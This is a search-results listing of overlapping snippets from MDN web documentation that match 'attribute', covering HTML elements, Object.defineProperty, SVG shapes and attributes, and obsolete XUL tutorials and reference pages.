<a>: The Anchor element - HTML: Hypertext Markup Language
downloadhtml5 prompts the user to save the linked url instead of navigating to it. ...
...rlink to web pages, files, email addresses, locations in the same page, or anything else a url can address. content within each <a> should indicate the link's destination. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
attributes this element's
attributes include the global
attributes. downloadhtml5 prompts the user to save the linked url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (co...
...rs: sections of a page with fragment urls pieces of media files with media fragments telephone numbers with tel: urls email addresses with mailto: urls while web browsers may not support other url schemes, web sites can with registerprotocolhandler() hreflang hints at the human language of the linked url. no built-in functionality. allowed values are the same as the global lang
attribute. ping a space-separated list of urls. when the link is followed, the browser will send post requests with the body ping to the urls. typically for tracking. referrerpolicy how much of the referrer to send when following the link. see referrer-policy for possible values and their effects. rel the relationship of the linked url as space-separated link types. target where to display the lin...
...And 8 more matches
<input type="radio"> - HTML: Hypertext Markup Language
tons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the radio button. events change and input supported common
attributes checked and value idl
attributes checked and value methods select() value the value
attribute is a domstring containing the radio button's value. the value is never shown to the user by their user agent. instead, it's used to identify which radio button in a group is selected. defining a radio group a radio group is defined by giving each of radio buttons in ...
...name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> here you see the three radio buttons, each with the name set to contact and each with a unique value that uniquely identifies that individual radio button within the group. they each also have a unique id, which is used by the <label> element's for
attribute to associate the labels with the radio buttons. you can try out this example here: data representation of a radio group when the above form is submitted with a radio button selected, the form's data includes an entry in the form contact=value. for example, if the user clicks on the "phone" radio button then submits the form, the form's data will include the line contact=phone. if you omit t...
...iate the labels with the radio buttons. you can try out this example here: data representation of a radio group when the above form is submitted with a radio button selected, the form's data includes an entry in the form contact=value. for example, if the user clicks on the "phone" radio button then submits the form, the form's data will include the line contact=phone. ...
...And 8 more matches
<table>: The Table element - HTML: Hypertext Markup Language
zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role table permitted aria roles any dom interface htmltableelement
attributes this element includes the global
attributes. deprecated
attributes align this enumerated
attribute indicates how the table must be aligned inside the containing document. it may have the following values: left: the table is displayed on the left side of the document; center: the table is displayed in the center of the document; right: the table is displayed on the right side o...
...ble must be aligned inside the containing document. it may have the following values: left: the table is displayed on the left side of the document; center: the table is displayed in the center of the document; right: the table is displayed on the right side of the document. set margin-left and margin-right to auto or margin to 0 auto to achieve an effect that is similar to the align
attribute. bgcolor the background color of the table. it is a 6-digit hexadecimal rgb code, prefixed by a '#'. one of the predefined color kewords can also be used. to achieve a similar effect, use the css background-color property. border this integer
attribute defines, in pixels, the size of the frame surrounding the table. if set to 0, the frame
attribute is set to void. to achieve a...
...if the cellpadding's length is defined in pixels, this pixel-sized space will be applied to all four sides of the cell's content. ...
...And 8 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. ...
... the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement
attributes this element includes the global
attributes. ...
...ed, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role cell if a descendant of a <table> element permitted aria roles any dom interface htmltabledatacellelement
attributes this element includes the global
attributes. ...
...And 8 more matches
Object.defineProperty() - JavaScript
, this function is called with one argument (the value being assigned to the property) and with this set to the object through which the property is assigned. defaults to undefined. if a descriptor has neither of value, writable, get and set keys, it is treated as a data descriptor. if a descriptor has both value or writable and get or set keys, an exception is thrown. bear in mind that these
attributes are not necessarily the descriptor's own properties. inherited properties will be considered as well. in order to ensure these defaults are preserved, you might freeze the object.prototype upfront, specify all options explicitly, or point to null with object.create(null). // using __proto__ var obj = {}; var descriptor = object.create(null); // no inherited properties descriptor.value = 'static...
...lue: 0x9f91102, get() { return 0xdeadbeef; } }); // throws a typeerror: value appears // only in data descriptors, // get appears only in accessor descriptors modifying a property when the property already exists, object.defineproperty() attempts to modify the property according to the values in the descriptor and the object's current configuration. if the old descriptor had its configurable
attribute set to false the property is said to be “non-configurable”. it is not possible to change any
attribute of a non-configurable accessor property. for data properties, it is possible to modify the value if the property is writable, and it is possible to change writable
attribute from true to false. it is not possible to switch between data and accessor property types when the property is non-con...
...it cannot be reassigned. ...
...And 8 more matches
dominant-baseline - SVG: Scalable Vector Graphics
it also indicates the default alignment baseline of any boxes participating in baseline alignment in the box’s alignment context. it is used to determine or re-determine a scaled-baseline-table. a scaled-baseline-table is a compound value with three components: a baseline-identifier for the dominant-baseline, a baseline-table, and a baseline-table font-size. some values of the property re-determine all three values. others only re-establish the baseline-table font-size. when the initial value, auto, would give an undesired result, this property can be used to explicitly set the desired scaled-baseline-table. ...
...he baseline-table font-size. when the initial value, auto, would give an undesired result, this property can be used to explicitly set the desired scaled-baseline-table. if there is no baseline table in the nominal font, or if the baseline table lacks an entry for the desired baseline, then the browser may use heuristics to determine the position of the desired baseline. ...
... set the desired scaled-baseline-table. if there is no baseline table in the nominal font, or if the baseline table lacks an entry for the desired baseline, then the browser may use heuristics to determine the position of the desired baseline. note: as a presentation
attribute, dominant-baseline can be used as a css property. see css dominant-baseline for further information. ...
...And 8 more matches
fill - SVG: Scalable Vector Graphics
the fill
attribute has two different meanings. for shapes and text it's a presentation
attribute that defines the color (or any svg paint servers like gradients or patterns) used to paint the element; for animation it defines the final state of the animation. as a presentation
attribute, it can be applied to any element but it only has an effect on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan>. for animation five elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>. html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-...
...gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /> <!-- keeping the final state of an animated circle which is a circle with a radius of 40. --> <circle cx="250" cy="50" r="20"> <animate
attributetype="xml"
attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <altglyph>, fill is a presentation
attribute that defines the color of the glyph. value <paint> default value black animatable yes note: a...
... animate for <animate>, fill defines the final state of the animation. ...
...And 8 more matches
xlink:href - SVG: Scalable Vector Graphics
the xlink:href
attribute defines a reference to a resource as a reference iri. the exact meaning of that link depends on the context of each element using it. note: svg 2 removed the need for the xlink namespace, so instead of xlink:href you should use href. ...
... the xlink:href
attribute defines a reference to a resource as a reference iri. the exact meaning of that link depends on the context of each element using it. note: svg 2 removed the need for the xlink namespace, so instead of xlink:href you should use href. ...
...animatecolor>, <animatemotion>, <animatetransform>, and <set>, xlink:href defines the reference to the element which is the target of this animation and which therefore will be modified over time. the target element must be part of the current svg document fragment. the value must point to exactly one target element which is capable of being the target of the given animation. if the xlink:href
attribute is not provided, the target element will be the immediate parent element of the current animation element. refer to the descriptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. value <iri> default value none animatable no color-profile for <color-profile>, xlink:...
...And 8 more matches
<circle> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: 0; animatable: yes cy the y-axis coordinate of the center of the circle. value type: <length>|<percentage> ; default value: 0; animatable: yes r the radius of the circle. ...
... value: 0; animatable: yes r the radius of the circle. a value lower or equal to zero disables rendering of the circle. value type: <length> ; default value: 0; animatable: yes pathlength the total length for the circle's circumference, in user units. ...
... equal to zero disables rendering of the circle. value type: <length> ; default value: 0; animatable: yes pathlength the total length for the circle's circumference, in user units. value type: <number> ; default value: none; animatable: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those
attributes can also be used as css properties for that element. ...
...And 8 more matches
<line> - SVG: Scalable Vector Graphics
the <line> element is an svg basic shape used to create a line connecting two points. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg>
attributes x1 defines the x-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes x2 defines the x-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y1 defines the y-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y2 defines the y-axis coor...
... the y-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y2 defines the y-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes pathlength defines the total path length in user units. ...
...ate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes y2 defines the y-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes pathlength defines the total path length in user units. ...
...And 8 more matches
<marker> - SVG: Scalable Vector Graphics
<!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg>
attributes markerheight this
attribute defines the height of the marker viewport. value type: <length> ; default value: 3; animatable: yes markerunits this
attribute defines the coordinate system for the
attributes markerwidth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default value: strokewidth; animatable: yes markerwidth this
attribute defines the ...
...efault value: 3; animatable: yes markerunits this
attribute defines the coordinate system for the
attributes markerwidth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default value: strokewidth; animatable: yes markerwidth this
attribute defines the width of the marker viewport. value type: <length> ; default value: 3; animatable: yes orient this
attribute defines the orientation of the marker relative to the shape it is attached to. value type: auto|auto-start-reverse|<angle> ; default value: 0; animatable: yes preserveaspectratio this
attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xm...
... auto|auto-start-reverse|<angle> ; default value: 0; animatable: yes preserveaspectratio this
attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ...
...And 8 more matches
<path> - SVG: Scalable Vector Graphics
the <path> svg element is the generic element to define a shape. all the basic shapes can be created with a path element. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg>
attributes d this
attribute defines the shape of the path. ...
... path element. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg>
attributes d this
attribute defines the shape of the path. value type: <string> ; default value: ''; animatable: yes pathlength this
attribute lets authors specify the total length for the path, in user units. ...
...,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg>
attributes d this
attribute defines the shape of the path. value type: <string> ; default value: ''; animatable: yes pathlength this
attribute lets authors specify the total length for the path, in user units. ...
...And 8 more matches
<rect> - SVG: Scalable Vector Graphics
is a basic svg shape that draws rectangles, defined by their position, width, and height. the rectangles may have their corners rounded. html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg>
attributes x the x coordinate of the rect. value type: <length>|<percentage> ; default value: 0; animatable: yes y the y coordinate of the rect. value type: <length>|<percentage> ; default value: 0; animatable: yes width the width of the rect. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes height the height of the rect. value type: auto|<length>|<percentage> ; d...
...: yes ry the vertical corner radius of the rect. defaults to rx if it is specified. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength the total length of the rectangle's perimeter, in user units. ...
...s specified. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength the total length of the rectangle's perimeter, in user units. value type: <number> ; default value: none; animatable: yes note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those
attributes can also be used as css properties for that element. ...
...And 8 more matches
<textPath> - SVG: Scalable Vector Graphics
to render text along the shape of a <path>, enclose the text in a <textpath> element that has an href
attribute with a reference to the <path> element. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg>
attributes href the url to the path or basic shape on which to render the text. if the path
attribute is set, href has no effect. value type: <url> ; default value: none; animatable: yes ...
...alue type: auto|exact ; default value: exact; animatable: yes startoffset how far the beginning of the text should be offset from the beginning of the path. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes textlength the width of the space into which the text will render. ...
...ct ; default value: exact; animatable: yes startoffset how far the beginning of the text should be offset from the beginning of the path. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes textlength the width of the space into which the text will render. ...
...And 8 more matches
<tspan> - SVG: Scalable Vector Graphics
it allows for adjustment of the style and/or position of that subtext as needed. html,body,svg { height:100% } <svg viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana! </text> </svg>
attributes x the x coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; animatable: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default ...
... dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength
attribute. ...
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength
attribute. value type: spacing|spacingandglyphs; default value: spacing; animatable: yes textlength a width that the text should be scaled to fit. ...
...And 8 more matches
SVG animation with SMIL - SVG: Scalable Vector Graphics
although chrome 45 deprecated smil in favor of css animations and web animations, the chrome developers have since suspended that deprecation. firefox 4 introduced support for animating svg using synchronized multimedia integration language (smil). ...
... although chrome 45 deprecated smil in favor of css animations and web animations, the chrome developers have since suspended that deprecation. firefox 4 introduced support for animating svg using synchronized multimedia integration language (smil). ...
...though chrome 45 deprecated smil in favor of css animations and web animations, the chrome developers have since suspended that deprecation. firefox 4 introduced support for animating svg using synchronized multimedia integration language (smil). ...
...And 8 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
gradients are defined in a defs section as opposed to on a shape itself to promote reusability. linear gradient linear gradients change along a straight line. ...
... y="10" rx="15" ry="15" width="100" height="100"/> <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#gradient2)"/> </svg> screenshotlive sample above is an example of a linear gradient being applied to a <rect> element. inside the linear gradient are several <stop> nodes. these nodes tell the gradient what color it should be at certain positions by specifying an offset
attribute for the position, and a stop-color
attribute. this can be assigned directly or through css. the two methods have been intermixed for the purposes of this example. for instance, this one tells the gradient to start at the color red, change to transparent-black in the middle, and end at the color blue. you can insert as many stop colors as you like to create a blend that's as beautiful or hideous a...
...ack in the middle, and end at the color blue. you can insert as many stop colors as you like to create a blend that's as beautiful or hideous as you need, but the offsets should always increase from 0% (or 0 if you want to drop the % sign) to 100% (or 1). duplicate values will use the stop that is assigned furthest down the xml tree. also, like with fill and stroke, you can specify a stop-opacity
attribute to set the opacity at that position (again, in ff3 you can also use rgba values to do this). <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> to use a gradient, we have to reference it from an object's fill or stroke
attributes. this is done the same way you reference elements in css, using a url. in this case, the url is just a reference to our gradient, which i've given the crea...
...And 8 more matches
Drag and Drop Example - Archive of obsolete content
kbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work. we'll create a listobserver object that will set the data to be dragged. note that each button here has an additional elem
attribute. this is a made-up
attribute. xul doesn't handle it and just ignores it, but we can still retrieve it with the dom's get
attribute function. we need this so that we know what type of element to create when dragging. next, we'll define the two listener objects. first, the listobserver which needs a function to handle the start of the drag. var listobserver = { ondragstart: function (event, transf...
...e it and just ignores it, but we can still retrieve it with the dom's get
attribute function. we need this so that we know what type of element to create when dragging. next, we'll define the two listener objects. first, the listobserver which needs a function to handle the start of the drag. var listobserver = { ondragstart: function (event, transferdata, action) { var txt = event.target.get
attribute("elem"); transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/unicode", txt); } } one function has been defined, ondragstart, which will be called by the nsdraganddrop object when necessary. the function adds the data to be dragged to the transfer object. the elem
attribute is retrieved from the target of the drag event. the target will be the element that ...
...the boardobserver will need three functions, getsupportedflavours, ondragover and ondrop. ...
...And 7 more matches
Panels - Archive of obsolete content
iated with a button, as in this example. when the button is pressed, the panel is opened. clicking outside the panel or pressing escape will close the panel. you can also place a close button in the panel which will close the panel with a script if desired. when you want to associate a panel with a button, place the <panel> element directly inside the button element. you also need to set the type
attribute on the button to the value panel, or the button will look and behave like a regular button. the popup panel will, by default, appear with its topleft corner just underneath the bottom edge of the button, much as a menu does. the position can, however, be changed. for more information about positioning the popup, see positioning popups. only buttons (and toolbarbuttons) have this automatic behav...
...ch opens the popup when pressed. for other types of elements, you need to use a different technique as in the following example. <label value="search" popup="search-panel"/> <panel id="search-panel"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> to attach a panel to an non-button element, for instance to have a panel open when a label is clicked, use the popup
attribute. the popup
attribute should be set to the id of a panel within the same document. when the left mouse button is pressed on the element with the popup
attribute, the corresponding panel will be displayed. for instance, to attach the popup defined above to a label, use the following code: <label value="search" popup="search-panel"/> the result is a search button which opens a panel for entering ...
... the id of a panel within the same document. when the left mouse button is pressed on the element with the popup
attribute, the corresponding panel will be displayed. for instance, to attach the popup defined above to a label, use the following code: <label value="search" popup="search-panel"/> the result is a search button which opens a panel for entering the search term. when using the popup
attribute, the panel will appear with the top left corner at the mouse position. in this case, you may wish to have the popup appear below the label instead. the position
attribute may be used to control the placement of the popup. here is a complete example: <panel id="search-panel" position="after_start"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> <label value="search"...
...And 7 more matches
Building Trees - Archive of obsolete content
ts are stored in a list inside the builder. this means that dom nodes are not constructed for any of the items. this is much more efficient; creating large numbers of dom nodes adds a lot of overhead. the performance advantage is possible since trees only display text. as a result, the builder only has a few pieces of information to keep track of. to use the tree builder, you need to add a flags
attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content"> the dont-build-content flag causes no content to be built for the template. but moreover, it uses a subtype of the main builder called the tree builder. without this flag, the template will be handled by the content builder. note: while a ...
...handled by the content builder. note: while a tree builder can only be used with trees, a content builder can be used with any type of content. if you wish, you can also use the content builder for a tree. there may be situations that call for this, typically when handling smaller amounts of data. however, the content builder becomes slower as the amount of data increases. apart from the flags
attribute, the template syntax for the tree builder and the content builder are identical. however, the tree builder requires a very specific form to the action body. specifically, the action body should be a single treeitem with its rows and cells. here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myph...
... <treecell label="rdf:http://purl.org/dc/elements/1.1/date"/> </treerow> </treeitem> </treechildren> </template> </tree> note: the tree columns (treecols) are declared outside the template as static content, since they only need to be declared once. this template uses the simple rule syntax. the extended syntax could also be used. when using the tree builder, the uri
attribute must be declared on the treeitem element. here, the simple rdf query syntax is used, so the member variable is rdf:*. the remaining tags have a similar syntax to a tree, but have only a single row. this row is used as the template data by the tree builder. instead of generating content, the builder uses the cell
attributes to determine what to display. the tree builder implements the nsitreeview ...
...And 7 more matches
Sorting Results - Archive of obsolete content
ould sort by either title or description. the user can change the sort column and direction by clicking the column headers, however, you can programmatically change the sort as well. sorting tree results we'll examine sorting of trees first since trees are the most common element used with sorted items. using a tree builder, you can sort the results in a tree by a column. to do this, place a sort
attribute on a treecol element referring to the variable to sort by for that column. <treecol id="name" label="name" sort="?name" flex="1"/> <treecol id="date" label="date" sort="?date" flex="1"/> in this example, the first column will be sorted by the ?name variable and the second column by the ?date variable. when the sort is ascending, the tree rows will be sorted in alphabetical order. when the sort i...
...ing, the tree rows will be sorted in alphabetical order. when the sort is descending, the tree rows will be sorted in the reverse order. for natural sorting, the rows will be sorted according to the natural order. only one column applies a sort at a time. if the tree is sorted by name, and the user clicks on the date column header, the sort will change to the date column. there are two additional
attributes used for sorting, which you may set on a column to specify the initial sort. these
attributes are modified when the user changes the sort. the sortdirection
attribute may be used to specify the initial sort direction for a column. only one column should have this
attribute set, as a tree may only be sorted by one column at a time. the value should be either 'ascending', 'descending' or 'natural'...
... a column to specify the initial sort. these
attributes are modified when the user changes the sort. the sortdirection
attribute may be used to specify the initial sort direction for a column. only one column should have this
attribute set, as a tree may only be sorted by one column at a time. the value should be either 'ascending', 'descending' or 'natural'. this last value is the default if the
attribute is not specified. the sortactive
attribute may be set to true or false and specifies which column the tree is sorted by. only one column should have the sortactive
attribute set to true at a time. the tree will change both
attributes as necessary automatically when the column headers are clicked or the tree is sorted by other means. if you don't want to allow sorting by a certain column, you can ...
...And 7 more matches
Box Objects - Archive of obsolete content
d modify information pertaining to the content or structure of the document. it's relatively simple to determine what kind of content tree node will be created for a given element. a xul element, for example, will have a xulelement type of content node. the layout objects that will be created are determined in a more complex manner. various pieces of information are used such as the tag name, the
attributes on an element, various css properties, the elements and layout objects around the element, and the xbl associated with an element (xbl is described in a later section). unless you change the style for an element, most xul elements will usually use the box layout object or one of its subtypes. recall that all xul elements are types of boxes, that is the box is the base of all displayed xul elemen...
...tion and sizes as currently displayed, so the values will be different if the element is moved or resized. for example, a flexible element will change in size and the box object dimensions will update accordingly. the following example shows this. example 1 : source view <button label="click me" oncommand="alert('the width is ' + this.boxobject.width);"/> you can use the width and height
attributes of the element to specify the element's width and height, respectively. note that retrieving these values will return the size only if it was explicitly specified. these properties will return an empty string if the width or height
attributes or properties were not set already. that is, you cannot get the current size with these properties; instead you must use the box object properties. this m...
...re not set already. that is, you cannot get the current size with these properties; instead you must use the box object properties. this may be a bit confusing, but, the key is to remember that the width and height properties on an element return the size that was set in the xul while the width and height properties of the box object return the current size. ...
...And 7 more matches
Element Positioning - Archive of obsolete content
ide as the three buttons, plus a small amount of padding. in the image, the first two buttons have been given a suitable size to hold their text. the third button is larger because it contains more content. the width of the box containing the buttons is the total width of the buttons plus the padding between them. the height of the buttons is a suitable size to hold the text. width and height
attributes you may need to have more control over the size of an element in a window. there are a number of features that allow you to control the size of an element. the quick way is to simply add the width and height
attributes on an element, much like you might do on an html img tag. an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not re...
...hould be specified as a number followed by a unit. flexible elements the sizes are fairly easy to calculate for non-flexible elements. they simply obey their specified widths and heights, and if the size wasn't specified, the element's default size is just large enough to fit the contents. for flexible elements, the calculation is slightly trickier. flexible elements are those that have a flex
attribute set to a value greater than 0. recall that flexible elements grow and shrink to fit the available space. their default size is still calculated the same as for inflexible elements. the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <...
...e extra space will be created inside it, and the flexible button inside it will grow to fit the available space. this process repeats for as many nested boxes as necessary. setting minimum and maximum sizes you may want to allow an element to be flexible but constrain the size so that it cannot be larger than a certain size. or, you may want to set a minimum size. you can set this by using four
attributes: minwidth; this specifies the minimum width that the element can be. minheight this specifies the minimum height that the element can be. maxwidth this specifies the maximum width that the element can be. maxheight this specifies the maximum height that the element can be. the values are always measured in pixels. you can also use the corresponding css properties, min-width, min-heig...
...And 7 more matches
More Tree Features - Archive of obsolete content
eate deeply nested trees. essentially, a treeitem element can contain either single rows which are declared with the treerow element or a set of rows which are declared with the treechildren element. there are two other things you need to do to make sure the hierarchy works properly. first, you need to mark the treeitem element that has children as a container. you do this by adding the container
attribute to it as follows: <treeitem container="true" /> this allows the user to click on the row that corresponds to the treeitem to expand and collapse the inner rows. you can have the child rows initially displayed by adding the open
attribute. when the user expands and collapses the parent, the view's toggleopenstate function will be called to toggle the item between open and closed. for a content tr...
...tainer="true" /> this allows the user to click on the row that corresponds to the treeitem to expand and collapse the inner rows. you can have the child rows initially displayed by adding the open
attribute. when the user expands and collapses the parent, the view's toggleopenstate function will be called to toggle the item between open and closed. for a content tree view, this will set the open
attribute to reflect the current state. the second change is that you must put the primary
attribute on the first column. this causes a small triangle or plus sign to appear before the cells in that column to indicate the cells that can be expanded. in addition, child rows are indented. note also that the user cannot hide the primary column using the drop down to the right of the columns. example hierarchi...
...n open and close the list. the child rows are indented. notice how the guys row only needs one column as it is a placeholder item for its children. the outer treeitem element contains a single treerow element and a treechildren element. the former creates the data for the parent row and the latter contains the child items. you can nest rows deeper as well. ...
...And 7 more matches
XUL accessibility guidelines - Archive of obsolete content
hysical disabilities rely on the keyboard as their primary input tool. these users require easy, predictable, and well-documented keyboard control. tab order provide a logical tab order and ensure that users can navigate all content using a keyboard. by default, the tab order is determined by the order of the elements in the underlying code. it can also be set programmatically with the tabindex
attribute if needed, but this should be done sparingly and thoroughly tested whenever it is used. the navigation order should be logical, generally left to right, top to bottom. navigation order may vary depending on the nature of the application or the reading direction of the language. ensure that tab order is logical and all interactive elements can be accessed simply without the use of a mouse. you sh...
...g keyboard shortcuts. learn more keyboard shortcuts and accesskeys mozilla keyboard planning faq and cross reference. an excellent guide for determining unused key combinations and cross platform issues. mozilla keyboard shortcuts. a full list of keyboard shortcuts for the various mozilla applications. mozilla's accesskey faq. a short reference for using the accesskey
attribute. context menus the context menu is the small menu activated with a right mouse click on a content area or element (or with shift + f10 or vk_apps on windows and ctrl + click or ctrl + space on a mac). use the oncontextmenu event handler or the context
attribute to create context menus. do not specifically code them to open on a click of the right mouse button. the oncontextmenu event and...
... context menus the context menu is the small menu activated with a right mouse click on a content area or element (or with shift + f10 or vk_apps on windows and ctrl + click or ctrl + space on a mac). use the oncontextmenu event handler or the context
attribute to create context menus. do not specifically code them to open on a click of the right mouse button. the oncontextmenu event and context
attribute work with the correct platform-specific context menu triggers, including the keyboard button and appropriate mouse clicks. mouse dependent scripting functionality associated with mouse events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse. provide keyboard-accessible alternative access points for this functionality. consider using context menu items...
...And 7 more matches
<statusbarpanel> - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] firefox 4 note the status bar has been removed. refer to the add-on bar. an individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages. ...
... the status bar has been removed. refer to the add-on bar. an individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...And 7 more matches
stringbundle - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element which can be used to load localized resources from property files. stringbundles should be placed inside a stringbundleset element. a property file is a list of property key-value pairs each on a separate line. the key and value is separated with an equals sign. for example, the following defines two properties: message.displayerror=an error occured trying to display this message message.namealreadyused=the name %s is already being used by another account. more information is available in the xul tutorial. ...
...ent. a property file is a list of property key-value pairs each on a separate line. the key and value is separated with an equals sign. for example, the following defines two properties: message.displayerror=an error occured trying to display this message message.namealreadyused=the name %s is already being used by another account. more information is available in the xul tutorial. the "src"
attribute accepts only absolute chrome:// urls (see bugs 133698, 26291)
attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed)
attributes src type: uri the uri of the property file that contains the localized strings. inherited from xul element align, allowevents, allownegativeassertions, class, coa...
...nt, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale. this is an object which implements nsilocale. src type: url gets and sets the value of the src
